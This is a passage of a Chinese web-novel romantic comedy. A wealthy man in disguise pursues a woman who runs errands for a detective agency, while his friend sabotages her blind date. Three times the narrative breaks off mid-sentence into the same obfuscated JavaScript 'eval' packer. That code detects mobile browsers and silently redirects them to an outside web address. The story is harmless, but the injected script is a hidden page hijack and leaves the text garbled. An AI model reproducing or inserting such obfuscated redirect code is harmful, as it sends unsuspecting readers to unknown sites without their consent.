我大人有大量,多给她一些时间,一些余地,然后……她一定会恍然大悟。 仲光华看着阿芳朝自己跑来,初夏的阳光在她发梢闪烁,心里变得酥酥麻麻。 果然如此。 即使一时忘了我,没认出我,她还是会不管不顾向我奔来。 这就是两个人之间强烈又绵长的吸引力啊。 ……致命的吸引力。 宋流星跑到仲光华面前停下,惊喜道:“真的是你啊,李老板!你也是学生家长?” 仲光华矜持点头:“我侄子,嗯,就是我哥哥的孩子,一会儿要表演钢琴,压轴。” “你孩子,叫安安对吧,有什么才艺表演吗?” 宋流星:“没有呢。” 仲光华露出同情的表情。 那个看起来不太聪明的孩子,看起来是真的不聪明啊。 但是,难得气氛好,勉为其难安慰一下她吧。 仲光华:“也不用太在意,孩子健康就好。” 宋流星:…… 不是,这人什么意思? 自家孩子优秀,就能嘲讽别人的孩子了吗? 呵呵,不过是侄子,又不是亲儿子。 但是客户是上帝,不能得罪。 于是她摆出营业微笑,进入正题:“你有哥哥啊。亲哥哥吗?” 仲光华:“是啊。” 宋流星看着他,一脸复杂,欲言又止。 仲光华:? 宋流星看看四周,稍微凑近,小声道:“那个,你哥哥知道吗?” 仲光华一时没反应过来:“知道什么?” 宋流星:“就是那个啊,那个。” 仲光华:! 他突然意识到了什么。 等一下,不会吧。 阿芳过来,是想继续招揽未竟的生意? 他闭上眼,深呼吸,挤出微笑:“我哥哥不知道。” 宋流星满是同情地拍拍仲光华的手臂,“有时候,不知道才幸福。你辛苦了,一个人背负这么多。” 仲光华:…… 宋流星一脸真诚:“但是也有时候,比起一直在未知中恐惧,不如查清真相,从哪里跌倒,就从哪里爬起来,开始新生活。” “发哥的名片你还留着呢吗?这样,我再给你一张我的。” 她从包里掏出一张名片,双手恭敬递过,佐以十六颗白牙殷切笑容: “有需要就打电话,我们事务所必定竭尽所能为你排忧解难!” 仲光华捏着名片,咬牙:“谢谢。” 宋流星用余光观察着榕树那边。 纱裙小女孩虎虎生风,飞速奔向自家爸爸,然后被爸爸举起来,发出快活的笑声。 少顷,父女两手拉着手,朝着另一个方向走去了。 宋流星狠狠松了一口气。 仲光华观察着她,冷不丁冒出一句:“你不喜欢他?” 那声音,莫名透着愉悦。 宋流星吓了一跳,连忙否认:“没有!” 话一出口,自己也觉得有歧义,连忙解释:“不存在什么喜欢不喜欢,我和他是陌生人,我们互相连名字都不知道。” 仲光华:“哦,陌生人啊。” 他眯起眼,语气带上阴阳怪气:“你看人家陌生人长得好,所以去搭讪?” 宋流星皱起眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355449|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这人怎么回事? 即使是潜在客户,她也有点不爽了。 干脆承认,佐以阴阳怪气笑容:“是啊。爱美之心,人皆有之嘛。” 仲光华闭紧了嘴,浑身散发不爽。 宋流星心想,他不爽个什么劲? 再打量几眼对方,突然福至心灵,暗暗诧异:他该不会觉得是,明明自己长得也很好,却没有女家长来搭讪,所以不爽吧? 她思来想去,越发觉得这个猜测很对。 救命,真是好自信一男的。 “宋小姐。”一道低沉男声响起。 宋流星转身一看,惊喜道:“李sir,是你啊!” 站在几米外挥手的高大男人,正是昨天下午出警抓人贩子,又帮宋流星录口供的那个警察,李嘉豪。 仲光华两眼睁大,鼻孔也张大了。 这又是谁? 他看着两人熟稔攀谈起来,简直不敢置信。 阿芳啊阿芳,从前的你老实文静,如今的你,感情生活竟然如此多姿多彩? 仗着少爷不在,你就放飞自我了吗? 咫尺之处,李嘉豪笑着解释自己身在此地的缘由:“我姐姐的孩子参加了合唱团,一会儿要在礼堂表演。我们一大家子全都来了。” “宋小姐也是来看孩子表演的吧?” 宋流星挥挥手:“没有没有,我家孩子只会淘气,没有才艺,什么节目都选不上。” 她抬起手碰碰脸,有些害羞地补充:“不过他手很巧哦,花了一个月时间做了一个雕塑,就在前面的展区。大家看了都说好,说很有艺术气息呢。” 仲光华:? 我刚才问了一模一样的问题,你可不是这么回答的! 李嘉豪主动向宋流星问起仲光华:“这位是你丈夫?” 仲光华呼吸一窒,心跳大乱。 宋流星也大骇,连连摆手:“不是不是!怎么可能!这是我们事务所的一个客户。” 一瞬间,仲光华被这种极力撇清的态度伤到了。 呵,确实不可能。 你的丈夫是钱润发那种一脸蠢相的男人,和我根本不是同一个层次。 ……很久以前也是如此,任谁看到我们,也不会觉得我们相配。 宋流星继续介绍:“这位客户李老板也是来看孩子表演的——” 她突然扑哧一笑:“哎呀,好巧。” “你们两个都姓李,一个是舅舅,一个是叔叔,一起来看孩子表演。” 李嘉豪也笑起来:“是啊,好有缘分。” 他向仲光华伸出手:“你好,交个朋友。” 仲光华看着对方坚毅英俊的面庞,高大宽厚的身形,无因的怒火在胸中熊熊燃烧。 他咬住后槽牙,伸出手去:“你好,朋友。” 两只手握在一起。 仲光华下意识用力,渴望着对方露出吃痛的表情。 李嘉豪感受到了力度,一阵莫名其妙,却也本能地以力量还击。 两个人紧紧握着手,谁也不肯放开。 两张堪称刚毅的脸,同步开始抽搐。 宋流星:? 李嘉豪主动撤开手,礼貌笑道:“那我先过去礼堂那边了。” 宋流星:“哦哦,好的!祝你们玩得开心!” 她目送李嘉豪离去。 直到对方的身影消失在拐角,她才转回视线,落在仲光华身上。 仲光华静静享受着她的注视。 不错,多余的人都走了,只剩我们两个。 宋流星试探道:“你不走吗?” 仲光华一愣:“走去哪?” 宋流星:“礼堂啊。你的侄子不是要表演钢琴吗?” 仲光华:“哦,那个啊。无所谓。” 宋流星:? 她堆出笑:“那我先走啦,你随意,随意哈。” 说完,她一溜烟地跑了。 仲光华被留在原地,不敢置信。 8. 高质量父子时光 周三下午,六点,花二宫寻人事务所。 阿珍一边收拾东西,一边最后确定:“说好了啊。这周六吃晚饭。” 宋流星手一抖,逃避般撇开头:“知道了,知道了。” 这事儿原本就尴尬,没想到后续还能变得更尴尬。 从学校回来,阿珍打来电话,问她是不是临阵逃脱了,说那位相亲对象在喷泉边苦苦等了一个小时也没等到人。 宋流星当时就是整个莫名其妙。 一顿牛头不对马嘴的对质之后,两个人才意识到,原来十一小校园里有两个喷泉。 约好见面的男人在另一个喷泉,根本没见到。 那么……周六那天,榕树下的男人…… 他又是谁? 一个被我搭讪的无关路人? 客户李老板以为是我路见男人、随手搭讪。 没想到我是真的路见男人、随手搭讪啊! 宋流星想找条地缝钻进去。 宋流星想把这整件事从记忆里删除。 但是不行。 阿珍转头和相亲对象联系之后,那边说:出这样的意外大家也不想的,不如这周六吃个晚饭弥补。 宋流星:…… 不想去! 如果一开始就约正儿八经的晚饭,那她根本不会答应。 但是……莫名变成这样,她好像也没办法再强硬拒绝。 只能答应下来。 阿珍:“到时候你在家等着就好啦,他会开车来接你的!” 她挥挥手,手链一阵哗啦啦:“那我下班啦。” 高跟凉鞋踩在水磨石地面上,踢踢踏踏,消失在门外。 夕阳透过百叶窗的缝隙,在水磨石地面投下亮斑。 光线范围之外,幽暗而氤氲。 宋流星一个人坐在电脑边。 空荡荡的房间里,只有她敲击键盘的些许声音。 她听见声音,站起来迎客,等看清来人,脸上的笑容立刻僵住。 是李老板。 周六那天,全程目击了她搭讪路人的李老板。 一看到李老板的脸,那尴尬的一幕,立刻在脑海里栩栩如生开始播放。 啊,真想把李老板扔出去。 但是职业素养仍驱使着她招呼客人坐下,又奉上茶水,殷勤道:“李老板考虑得怎么样了呢?关于你家的私生子这件事,我们从什么角度切入比较好呢?” 仲光华听着“私生子”这三个字,耳朵一跳一跳的。 “不用调查了。我后来想清楚了,这是家父自己的事情,和我没什么关系。” 宋流星心想,太好了。 不用继续和这位李老板做生意,真是太好啦! 她随口客气道:“这点事,手机发个消息就行啦,何必特意上门?” 仲光华一脸郑重:“这样比较正式。我做事喜欢有始有终。” 宋流星微笑:“啊,也对。挺好的。那,祝你和父亲沟通顺利。” 说完,她便等着对方告辞。 但是对方并没有告辞的意思。 宋流星礼貌忍耐。 空调发出一阵奇怪的声音。 仲光华抬眼看了看空调:“空调好像坏了。” 宋流星:“嗯嗯,回头找人修。” 仲光华:“这空调看着有年头了,还有修的余地吗?” 宋流星:“不知道啊,回头我问问发哥。” 仲光华又坐了一会,终于起身。 起身的一瞬,他肉眼可见对方松了一口气。 他出了大门,感觉自己的心碎成了一堆渣。 太可悲了。 还以为多在她面前出现几次,她就会认出我。 阿芳……你好狠的心。 你是真的,把你的少爷,彻底给忘了。 * 仲光华思绪万千上了车,打火启动,沿着狭窄混乱的街道向外驶去。 一个熟悉的身影出现在拐角处。 是宋平安。 那个智商可疑的巨型小学生。 他趴在玻璃橱窗上,一动也不动,不知道在干什么。 穿着格子围裙的店员跑出来,一阵呼喝,宋平安一溜烟跑开了。 库里南驶过玻璃橱窗。 原来是一家甜品店。橱窗里摆着五颜六色的冰激凌桶,看起来十分香甜。 仲光华心念一转,在街尾停车,下了车,朝着来路走去。 追上了。 他伸手拍拍前面的巨型小学生。 宋平安回过头,愣了一下,然后露出快乐笑容:“李叔叔!” 仲光华矜持笑笑:“你还记得我啊。” 宋平安大力点头:“记得!你有私生子!” 马路边摇着扇子下棋的大爷们瞬间齐齐转过头来,无数双小眼睛绽放出犀利的八卦光芒。 仲光华抓住这个小傻瓜的胳膊,拖着他就走。 * 甜品店里,宋平安兴高采烈的吃着李叔叔请的“草莓旋风仙草啵啵芭菲”。 他动作实在不优雅,吃得半个脸蛋都脏兮兮。 仲光华嫌弃地看着他。 “你没有零花钱的吗?” 快乐的小脸蛋立刻蒙上阴影。 “我有……”他拖长声音,满是委屈。 仲光华:“难道被抢走了吗?” 宋平安惊讶抬头:“李叔叔你怎么知道?!” 仲光华更惊讶:“真被抢走了?你这样的体格,竟然被抢?对方是中学生吗?” 宋平安声音闷闷的:“是我们班上的。他掌握了我的黑料,我要是不把钱给他,他就要告发我。” 仲光华:“你有什么黑料?” 宋平安撅着嘴,不肯说话了。 仲光华用指节敲敲桌子,催促道:“快说。” “你要是不说,我就去找你妈妈,说你的零花钱被同学抢了。” 宋平安震惊抬头,两眼瞪得溜圆,仿佛遭遇了人生最大背叛。 仲光华作势起身:“不说?那我去找你妈妈了。” 宋平安连忙伸手抓住他裤子,大叫:“我说!李叔叔!我说!” 原来,宋平安捉了青蛙装在书包里带到学校,上课途中,青蛙突然跑出来,吓得全班乱成一团。 事后,班上一个小男生找到宋平安,说看到青蛙是从宋平安书包里出来的,以此反复勒索他。 仲光华:…… 就这?就这? 仲光华:“我教你接下来怎么做。不要再给他钱了。他要是告诉老师,你就一口咬定,什么青蛙,没见过,与你无关。” 宋平安一脸不可思议:“李叔叔,你是说……让我撒谎?” 仲光华:“有什么问题吗?” 宋平安小脸扭曲:“撒谎是不对的。” 仲光华:“听着,你已经四年级了,是时候知道一些复杂的道理了。” “对待爱你的人呢,比如说你妈妈,撒谎当然不可以。但是对待坏人,撒谎可以,伤害可以,什么都可以。这叫做恶人需有恶人磨。” 宋平安难受得直抓脸:“李叔叔……我感觉……撒谎……不太好。” 仲光华皱起眉:“你这孩子怎么这么死心眼?你妈妈就算了,她跟你差不多死心眼。你爸爸呢?他看着挺社会的啊,他什么都没教过你吗?” 宋平安惊讶睁大眼:“李叔叔,你认识我爸爸?” 仲光华一愣。 他马上意识到不对,这其中可能存在某种误会。 他往后一靠,假意咳嗽一声,掸掸衬衫上不存在的灰尘。 “应该是认识吧。我也不确定。你有你爸爸的照片吗?给我看一眼,就知道了。” 宋平安连连点头:“有的有的!” 他从书包里掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355450|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出文具盒,从文具盒夹层里掏出一张照片。 画质很不好,像是很久以前的低像素照片强行打印出来的。 但看得出来是个帅哥,宽肩长腿,一身蓝白运动服,笑容爽朗。 仲光华捏着照片,狠狠咬牙。 呵呵,原来不是钱润发,是你啊。 是你勾引了当年的阿芳。 就在这时,一道不祥的闪电突然击中仲光华的心。 “就这么一张照片?”他问道。 宋平安一脸哀伤:“嗯。我爸爸在我很小的时候就去世了。” * 晚上十一点二十分,仲光华的顶层公寓。 “她丈夫已经死了。” 仲光华仰头灌下一整杯赤霞珠。 “她丈夫要是还在,我可以用钱收买他,让他离婚。让阿芳好好体会一下,她丈夫为了钱,能有多无情。” “但是竟然死了……这不就成了白月光了?” 他伸手去抓红酒瓶子,想要继续倒酒,却被李流年捂住杯口。 “行了,别喝了,就你那破酒量,明天该头疼了。” 仲光华看着被捂住的杯子,呆楞了一会,一仰头,举着酒瓶就往喉咙里灌。 李流年大惊失色,奋力夺下酒瓶,大骂道:“你不要命啦!” 仲光华跌坐到地毯上,一脸失魂落魄。 李流年叹气。 他把酒瓶收到厨房去,回来坐下,安慰道:“死了不是正好?” “你现在就去跟她告白。” “这么多年,她一个人带着孩子,一定很辛苦。你这时候出现正好,她和孩子从此都有依靠了。” 仲光华瞪起眼睛:“告白?告什么白?要告白也得是她来跟我告白!” “她先来求我,向我认错道歉,我再考虑要不要原谅她!” 李流年:…… 仲光华胡乱挥手:“而且,接受她也就罢了,接受别人的崽子?你当我是什么?绿毛龟吗?” 李流年:“那不是你们分开之后有的吗……怎么就绿毛龟了……” 仲光华大喊:“什么分开?不存在!我没有允许过!” 李流年:…… 李流年:“随便吧。那你打算怎么办?” 仲光华往下一滑,整个人瘫软在地毯上,喃喃低语:“不知道。” 李流年忍不住偷偷翻白眼。 “要么放弃吧。” “你自己说的,她背叛你,丢下你,另外有了白月光,有了孩子,让你变成绿毛龟。” “你这么骄傲的人,怎么可能再接受这样的女人?你说对不对啊?” 仲光华紧紧抿着嘴,下颌紧绷。 “我要报复她。” 李流年:“好。可以。你打算怎么报复?找个人去泼她硫酸,或者找辆车去撞她?” 仲光华咕噜一下坐起来,惊恐盯着友人。 李流年一脸无辜:“你看我干什么。不是你自己说要报复吗?” 仲光华:“那也不是你说的这些啊!” 李流年:“那你要怎么报复?” 仲光华愣住。 几秒之后:“我,我没想好。” 李流年清清嗓子,“我来帮你捋一下。” “你的诉求是阿芳向你认错道歉。” “可问题是,她不记得你是谁了。” “所以你需要做的,就是告诉她你是谁。跟她说明白,当初她的离开对你造成了多大的伤害。” 仲光华皱起脸,全身写满不情愿。 李流年:“你到底在扭捏什么?一点都不像你了!” 仲光华全身燃起薄怒。 旋即,又熄灭。 他的肩膀垮下去。 “她跟我道歉,然后呢?” “从此以后,正式恩断义绝?” “比起这样,我宁可一直恨她。” 9. 第二次相亲 周六傍晚。 宋流星犹豫一番,最终换上一件碎花连衣裙。 好歹是吃晚饭,她不想表现得没礼貌。 经过上次的意外,这一次她和刘先生事先交换了联系方式。 就在刚才,刘先生发消息来说,他十分钟后就到。 这位刘先生,离婚三年,带着一个女儿。 外貌方面比较一般,但是家里有六套房子放租,本人是公务员,脾气也是公认的好。 从市场角度来看,配她绰绰有余。 宋流星痛苦捂住脸。 这种相亲饭局,她是真的不想去。 可是,谁让她理亏呢。某种程度上,她确实放了对方鸽子。 宋流星从窗口向下望去。 黑色的奥迪A4从街道尽头驶来。 是刘先生的车。 她抓起小包,一溜烟下了楼梯,奔过大厅,出了门,站在台阶上。 黑色奥迪停在街边,一个男子钻出来。 宋流星:…… 这所谓的“比较一般”,可以说相当一般啊。 其实男人吧,确实也不需要长得多标志。 但至少要有点基本的身高吧。 这位刘先生,甚至还没有我高啊。 宋流星一瞬间有点生气。 阿珍是看不起我吗?觉得我只能配这种的? 哦,对了,阿珍的老公是秃顶,油光锃亮寸草不生的那种。 阿珍是真的,不在乎男人外貌。 而且,或许,这也不是刘先生的错。 都怪落差太大…… 宋流星想起上周末见到的那一幕。 阳光下,喷泉边,榕树下。 修长挺拔的身姿,洁白无暇的额头,笔直的鼻梁。 都怪上一个对象太惊艳…… 啊啊啊啊我在想什么呢! 他才不是什么对象,是被我随手搭讪的无辜路人。 宋流星打起精神,礼貌微笑:“刘先生,你好。” 刘先生小小的眼睛一下子睁得溜溜圆,盛满惊艳。 他匆匆绕过车头,拉开副驾驶的车门,浮夸道:“宋小姐请上车。” 宋流星抓紧小包,上了车。 * 刘先生选的,是一家淮扬菜餐厅。 宋流星从服务员手里接过菜单,仔细研读,偷偷睁大眼睛。 一个青菜要188?一个小炒里脊要358?这些菜是金子做的吗? 一时间满腹怨言。 初次见面为什么要选这么贵的地方?平白给人压力。 她正在使劲考虑该点些什么菜,桌子另一边的刘先生已经直接开口。 他点了二荤二素:狮子头、脆鳝、上汤干丝、清炒小青菜。 服务员离开后,刘先生才仿佛刚想起来似的:“你有没有什么忌口的?” 宋流星摇头微笑。 刘先生一脸得意:“我常来这里,刚才点的都是他们最拿手的。味道你就期待吧。” 宋流星花瓣一样的眼睛弯起来:“那我就期待了。” 刘先生一下子兴奋起来。 “宋小姐,你知道吗,淮扬菜历史相当悠久,春秋时代就有了雏形。” “淮扬菜的味道呢,其实和粤菜比较接近,都是清淡鲜甜为主。但是淮扬菜有个最大的特点,就是刀工和造型上特别精细讲究。。” “正因为这个特点呢,首都中心的国宴都是以淮扬菜为主的。” 宋流星:“哇,好厉害。” 刘先生挑挑眉毛,圆圆胖胖的脸满是得意:“正宗的淮扬菜餐厅很难找的。我也是这些年在单位里负责招待领导,所以对本地的餐厅颇有心得。” “你知道吗?我曾经带省里来的领导来这家吃,领导们都赞不绝口。” 宋流星:“哇……” 隔壁响起轻轻一声嗤笑。 很小一声,只有宋流星听到了,刘先生毫无察觉。 宋流星转头一看,是一个年轻男人,一头卷发,头顶插着墨镜,一身看起来十分有质感的绸料西服。 他一个人占了一张桌子,点了满桌的菜。 好典型一个纨绔公子。 宋流星淡淡转回头,不打算搭理。 与此同时,那位纨绔公子可是完全淡定不下来。 四目相接之下,电光火石之间,他认出了这个女人: 好友仲光华那本厚厚相簿里数百张照片的主人公,胆敢抛弃天之骄子仲家少爷、一度人间蒸发、谜一般的女人。 ……阿芳。 李流年暗自惊叹。 时光显然宠爱了她。 她曾经是个不起眼的黄毛丫头,只有一双灵活的眼睛惹人注意。 而如今她有了年纪,却没有衰老。 那双花瓣一般的眼睛,即如往昔一般灵活闪亮,又多了岁月的重量,无数故事与秘密蕴含其中,静静流淌。 菜陆续上来。 刘先生认真品尝,满足叹气:“你平时很少有机会吃这样的餐厅吧。” 宋流星:…… 她微笑:“是啊。平时工作忙,很难有时间特意进餐厅吃饭。” 刘先生:“倒也不是有没有时间的问题。这样的餐厅,也不是有时间就能来吃的。” 宋流星:…… 行叭。 刘先生:“宋小姐平时是自己做饭?” 宋流星摇头,“基本是买现成的。那种冷冻的或者冷鲜的,回家拿微波炉叮一下就好。” 刘先生惊讶:“宋小姐不是有孩子吗?孩子怎么办?也天天吃现成的吗?” 宋流星顿了一下,解释道:“我也会注意荤素搭配,营养还是保证的。” 刘先生啧啧道:“那也太可怜了吧……” 宋流星:…… “刘先生平时在家做饭的吗?很难得啊。” 刘先生:“我?我怎么会做饭。是我妈妈做。” 宋流星:…… 刘先生挤挤眼:“不过,等我再婚之后,就是我老婆做了。” 宋流星:…… 她心中大叫:别挤了!再挤就没了!而且我也不会是你老婆的! 刘先生开始谈起宋流星的职业。 “我听阿珍说了,宋小姐这个职业蛮有意思的啊。” 宋流星点头:“嗯,是很有意思。能见识到各种人各种事。” 刘先生:“也很辛苦吧。” 宋流星微笑:“哪一行不辛苦呢。” 刘先生:“风里来雨里去的,实在不适合宋小姐这样的人。” “这样的外貌,被风雨摧残了多可惜。” 宋流星:…… 刘先生:“要我说,宋小姐不适合做这一行。你知道你适合哪一行吗?” 宋流星微笑。 刘先生嘿嘿笑起来:“适合当好人家的夫人!” 宋流星:…… 刘先生:“我听说宋小姐丧偶多年,一直没有再婚?是忘不掉前夫吗?” 隔壁桌上,李流年瞬间竖起耳朵! 宋流星笑了。 “有什么忘不掉的。人的记忆其实持续不了那么久的。” 刘先生:“那是为什么一直单身呢?宋小姐这样的人品,应该很多男人追你吧?” 宋流星不想解释,只是微笑:“也没有啦。没什么人追我的。” 刘先生:“不要谦虚啦。要我说,是宋小姐眼光太高吧。” 他叹了一口气,“其实有时候还是要现实一点的。” “美丽当然是女人的武器,但美丽总会消失。” “宋小姐年纪也不小了,再不赶紧行动起来,就要来不及了!” 他一脸推心置腹:“再过几年,你儿子也长大了,要结婚了,问你要彩礼要房子,你拿不出,可怎么办呢?” “岂不是要母子反目?” 宋流星:…… 第一次见面,你这是不是考虑得太远了一点。 刘先生:“我是很有诚意的,像我这样的条件,市场上不多了。” 宋流星心想,有句过时的网络语,放在眼下倒很合适。 无语是我的母语。 怎么办,有点忍不住了。 她看看桌上,吃得也差不多了,是不是可以买单了。 这顿AA吧。 必须AA。 不然后患无穷。 隔壁桌,李流年哗啦啦站起来,一个旋身站到刘先生身后,惊讶大呼:“哎呀!这不是宋小姐吗?好巧啊,竟然在这里遇见你。” 他一手撑在桌子上,一手按着刘先生肩膀,撒娇道:“你怎么一直不联系我?真是好狠的心。” 刘先生抖抖肩膀,想把这只不请自来的手抖掉,结果,根本甩不掉。 他大声质问:“你是谁?” 李流年嘻嘻笑:“我不是谁。只是宋小姐曾经帮过我一个大忙,我心里一直挂念。” 宋流星看着眼前这个卷毛纨绔,不禁目瞪口呆。 我们根本不认识好吧?哪来的什么帮你大忙? 李流年:“宋小姐原来喜欢吃淮扬菜?早说啊,我天天请你吃。” 他看了看桌面,啧了一声,“就点了四个菜?够吃吗?” 刘先生瞬间涨红了脸,大声道:“铺张浪费很光荣吗?” 李流年哈哈笑:“说的对。铺张浪费可耻。我就是可耻的人。” “今天这顿我请了吧。” 他随手招过服务员,甩出信用卡。 刘先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355451|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图起身:“不用了!” 李流年牢牢摁着他,不让他起来:“别跟我抢!跟我抢就是看不起我!” 他朝着宋流星抛了个媚眼:“宋小姐,看在我请你吃饭的份上,以后可要回我消息啊。” 说完,他接过服务员送回来的信用卡,抛出一个飞吻,翩翩离去。 刘先生脸色一阵青一阵白。 他绷着脸:“宋小姐,吃好了吗?我送你回去吧。” 宋流星:“谢谢,但是不用了!” 她紧急搜刮理由:“那个,我朋友正好在附近,我找她有点事。” 刘先生不知道相信了没有。 反正他是接受了这个说法,独自忿忿离开。 宋流星一个人出了餐厅,朝着地铁站走去。 糟糕,在刘先生眼里,我大概成了四处留情的坏女人了。 感觉不坏。 总强过刘先生嘴里的“上了年纪、即将因为拿不出彩礼和儿子反目成仇的绝望女人”。 她回忆起那个莫名其妙冒出来请客的人。 我可真厉害。对人的第一印象超级准。他果然就是那种闲得发慌的纨绔公子。 唉。 不管怎么样,谢谢你啦,吃饱了没事干的有钱人。 因为有你,我无痛切断了这场造孽的相亲。 * 第二天,李流年约了好友一起吃饭。 他咽下一口白酱鲈鱼,矜持擦拭嘴角,不经意道:“说来也巧,昨天我遇见阿芳了。” 仲光华瞪大眼睛,全身顿住,等待下文。 李流年慢条斯理开始品酒。 仲光华:“喂!” 李流年:“怎么会这么巧呢?吃个饭就遇见了。我在想啊,大家都在这一片生活了好多年,没准以前也遇到过,只是那时候不认识。” 他看一眼友人,笑得超愉快:“但是你肯定是没遇到过。怎么说,这就叫有缘无分吗?” 仲光华懒得理他揶揄,紧张道:“你没和她搭话吧?” 李流年:“为什么不搭话?岂止搭话,我还请她吃饭了。” 仲光华大惊。 李流年举起手:“可别误会,没我和她一起吃,就是帮她付账而已。” “她当时正在相亲。哎哟那个对象,真是一言难尽。” “我也算是行侠仗义了!哈哈哈哈!” 他愉快大笑起来。 仲光华气急败坏:“相亲?” “为什么当时不通知我?!” 李流年甩了一个白眼:“通知你干什么?过来搞破坏吗?” “你淡定一点,我不是说了吗,那个对象一言难尽。不用劳驾你,我随便就把他搞得下不来台。” 仲光华眉头打成死结。 “很差吗?那个对象?” “为什么她要和那么差的对象相亲?” 李流年:“你问我?我怎么知道。” “为什么要抛弃我们天之骄子仲大少爷,委屈自己和莫名其妙的人相亲?” “哎呀哎呀,我可是想破脑瓜子都想不明白呢。” 仲光华紧紧盯着友人:“你没说漏嘴吧?没对她说你的名字吧?” 李流年:…… “不是,你擅自占用我名字,这事是你欠我吧,怎么你口气倒像是债主似的?” 仲光华目光灼灼。 李流年叹气:“没有,你放心吧。” “但是这件事真的没问题吗?你刚说完我不会和她见面,这不就见上了?我看这事迟早露馅。” 仲光华:“怎么会?你不要说漏嘴,你侄子不要说漏嘴,就没问题。” 他眯起眼睛:“你侄子没问题吧?” 李流年:“他聪明得很,你放心吧。” 说曹操,曹操就到。 豆芽大的小学生李静深一身白衬衫黑短裤,背着大书包,噔噔噔的就过来了。 仲光华:“你来干什么?” 李静深:…… 李流年:“你说什么屁话,他当然是来吃饭。” “他的书法教室就在这附近,我就叫司机把他送过来了。” “家人当然要一起吃饭,对不对啊,阿深?” 李静深矜持点头,拿过菜单,认真浏览。 仲光华随口问道:“书法教室好玩吗?” 李静深一张小包子脸十分严肃:“我是去学书法的,不是去玩的。” “仲叔叔,你知道吗,安安家出大事了。” 仲光华:? 他不知道。 他当然不知道。 李静深歪头:“这么大的事,你竟然不知道吗?” 仲光华:…… 这个臭小子。 “什么大事,快说!” 10. 事务所大危机 李静深向仲叔叔转述了关于花二宫寻人事务所的大消息。 事务所的老板钱润发大叔,在工作途中不幸遭遇凶狠犯罪分子。虽然英雄非凡、以一敌三,却最终英勇负伤、入院治疗。 那个油腻的男人受伤了? 呵呵,活该。 仲光华兴趣缺缺,端起酒杯,饮了一口。 倒是李流年满脸惊讶:“这个钱润发,指不定惹到不该惹的人了。” “说是路上遇到的,指不定就是被刻意寻仇。他本人虽然挨了打,却不一定和对方两清。” 仲光华心中一紧,听到友人继续道:“说不定阿芳也成了连代目标呢?” 李流年看着友人:“你去医院看看呗。问问他们惹到了谁,然后帮他们摆平。” 仲光华心中一动,嘴里却冷笑:“呵,我为什么要帮他们。” 李流年:“那要不这样,你趁火打劫,趁人家住院把事务所买下来。这样你就是阿芳的老板了。” 仲光华:“我买那个破事务所做什么。买下来立刻就是不良资产。” 李流年:…… 他忍不住翻白眼:“随便你吧。” 李静深突然出声:“阿芳是宋平安的妈妈?可是他妈妈的名字是宋流星啊?” 仲光华:“她改了名字。” 他居高临下看着隔壁座位的小豆丁,表情严肃:“有宋平安和他妈妈在的地方,我就是你的亲叔叔。这一点你还记得吧?” 李静深点头:“放心吧。” 李流年看着这一大一小认真共谋,一时不知该如何评论。 * 花城第二人民医院,住院部。 仲光华在咨询台谎称友人,问到了钱润发的房间号。 没想到,还没上电梯,钱润发就自动出现了。 钱润发相貌平平,泯然于众人。 对于普通人而言,若是只与他有过一面之缘,之后又隔了一段时间,想要再认出他来,实在不容易。 但仲总不是普通人。 他巨细无遗管着一家上万名员工的大型企业,有远超于普通人的记忆力。 所以他一眼认出,卡在小卖部门口,引起众人侧目的那个男人,就是钱润发。 钱润发坐在一张轮椅里,右手右腿都打着石膏,直愣愣地向外伸着,占地面积十分广大。 他能用来操控轮椅的只有左手,虽然尽力了,却十分徒劳,根本无法准确控制轮椅的前进方向。 于是他支棱着两根大枝桠,在狭小的通道里咕噜噜转着圈,彻底堵死了其他人的去路。 仲光华一个闪步过去,握住轮椅背后的扶手,连人带椅拖到外面大厅的空旷处。 钱润发嗷嗷大叫:“你干嘛?你是谁?等一下!哎!哎——嗳?” 他艰难仰着头,惊讶道:“是你啊,李老板!” 仲光华微微一笑:“你记得我?” 钱润发:“当然记得啦,李老板这样的靓仔可不多见!” 他热情寒暄:“李老板怎么在这里?来探病吗?” 仲光华随口编造:“是啊,我朋友交通事故骨折,在这边住院。我刚看过他。” 他装模作样叹气:“原本生龙活虎的一个人,突然就没法自由行动了,真不容易啊。” 钱润发伸着自己的两根石膏大枝桠,全身写满感同身受:“那可不!太不容易了!” 他歪头看着仲光华,拼命挤眼睛,示意对方靠近。 仲光华犹豫了好几秒,最终还是忍住了嫌弃的表情,上前一步,微微弯腰。 钱润发从病号服口袋里掏出一个皱巴巴的烟盒。 “行行好,能帮我推到外面去吗?我想抽根烟。” * 住院大楼旁边是停车场,停车场旁边有一小块杂草地。 两人一轮椅停在这里。 呼—— 钱润发狠狠吐出一口烟雾。 “老子可算是活过来了。” 